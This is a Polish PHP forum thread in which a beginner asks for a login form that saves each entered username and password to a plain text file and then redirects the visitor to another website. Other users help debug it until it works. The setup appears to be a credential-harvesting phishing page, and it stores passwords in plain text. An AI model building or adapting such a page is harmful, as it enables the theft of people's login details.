Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Znowu formularze ...
Forum PHP.pl > Forum > PHP
MitS
Witam wszystkich exclamation.gif!

Mam dość banalne pytanie jak dla niektórych, ale je zadam ponieważ bardzo potrzebna mi jest odpowiedź na nie

A więc na formularzu mam przycisk "loguj" oraz dwa pola na login i na hasło. Chcem zrobić tak, że gdy osoba wpisze w pola wymienione wyżej np. jako login: Mareczek , natomiast jako hasło: mlpnkobji i naciśnie przycisk "loguj" to skrypt wykona takie czynności:
1) Zapisze do pliku tekstowego o nazwie dane.txt login i hasło wpisane przez daną osobę.
2) Po tej czynności przejdzie na stronę np. www.sokno.er.pl lub jakoąś inną.

Przygotowałem swój kod, ale niestety nie działa. Oto on:

  1. <?php
  2. if( !empty( $_POST['login'] ) && !empty( $_POST['password'] ) ) {
  3.  
  4. $login=$_POST['login'];
  5. $haslo=$_POST['password'];
  6.  
  7. $plik=fopen('dane.txt','a+');
  8. flock($plik,1);
  9. fputs($plik,$login.' = '.$haslo."rn");
  10. flock($plik,3);
  11. fclose($plik);
  12.  
  13. header( 'Location: [url=http://www.sokno.er.pl/']http://www.sokno.er.pl/'[/url] );
  14. }
  15. ?>
  16.  
  17.  
  18. <html>
  19.  
  20. <head>
  21. <meta http-equiv="Content-Language" content="pl">
  22. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  23. <meta name="ProgId" content="FrontPage.Editor.Document">
  24. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  25. <title>New</title>
  26. </head>
  27.  
  28. <body>
  29.  
  30.  
  31.  
  32. <form method="POST" action="--WEBBOT-SELF--">
  33. <!--webbot bot="SaveResults" U-File="C:\form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
  34. <p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
  35. <input type="text" name="T1" size="21"></p>
  36. <p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
  37. <input type="password" name="T2" size="21"></p>
  38. <p><input type="submit" value="Zaloguj" name="B1"></p>
  39.  
  40. </form>
  41. <p>&nbsp;</p>
  42.  
  43. </body>
  44.  
  45. </html>



Był bym wdzięczny gdyby ktoś napisał cały kod strony html, a nie tylko wycinek kodu php, bo niestety jestem początkującym php programistą, który dopiero zaczyna tę zabawę i będe miał problemy ze wstawieniem go w odpowiednie miejsce.

PS. Już dawałem taki temat na forum, lecz nie otrzymałem odpowiedzi sad.gif

Dzieki z góry exclamation.gif!
stasiekpaluch
jesli

pola w formularzu nazywaja sie

login - name="T1"
password - name="T2"


to odbierasz

$login=$_POST['T1'];
$haslo=$_POST['T2'];
MitS
Uppssss już poprawiłem ale nadal mi nie działa zapisywanie pól do pliku sad.gif


  1. <?php
  2. $login=$_POST['login'];
  3. $haslo=$_POST['password'];
  4.  
  5. $plik=fopen('dane.txt','a+');
  6. flock($plik,1);
  7. fputs($plik,$login.' = '.$haslo."r/n");
  8. flock($plik,3);
  9. fclose($plik);
  10.  
  11. Header('Location: [url=http://www.sokno.er.pl');]http://www.sokno.er.pl');[/url]
  12. ?>
  13.  
  14.  
  15.  
  16. <meta http-equiv="Content-Language" content="pl">
  17. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  18. <meta name="ProgId" content="FrontPage.Editor.Document">
  19. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  20. <title>New</title>
  21. </head>
  22.  
  23.  
  24.  
  25.  
  26. <form method="POST" action="">
  27. <p style="margin-top: 0; margin-bottom: 0">Login:
  28. <input type="text" name="login" size="21"></p>
  29. <p style="margin-top: 0; margin-bottom: 0">Has&sup3;o:
  30. <input type="password" name="password" size="21"></p>
  31. <p><input type="submit" value="Zaloguj" name="B1"></p>
  32.  
  33. </form>
  34. <p> </p>
  35.  
  36. </body>
  37.  
  38. </html>
gdaq
Ja bym skorzystal z fwrite()
A poza tym piewrszy flock zmien na flock($plik,2) bo przeceirz zapisujemy dane a nie czytamy. Tak rzynajmniej wyczytalem w manual'u

Gdaq
MitS
ok już sobie poradziłem.
Musiałem troche pokąbinować i wyszło.
A co do tej "2" to masz rację.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.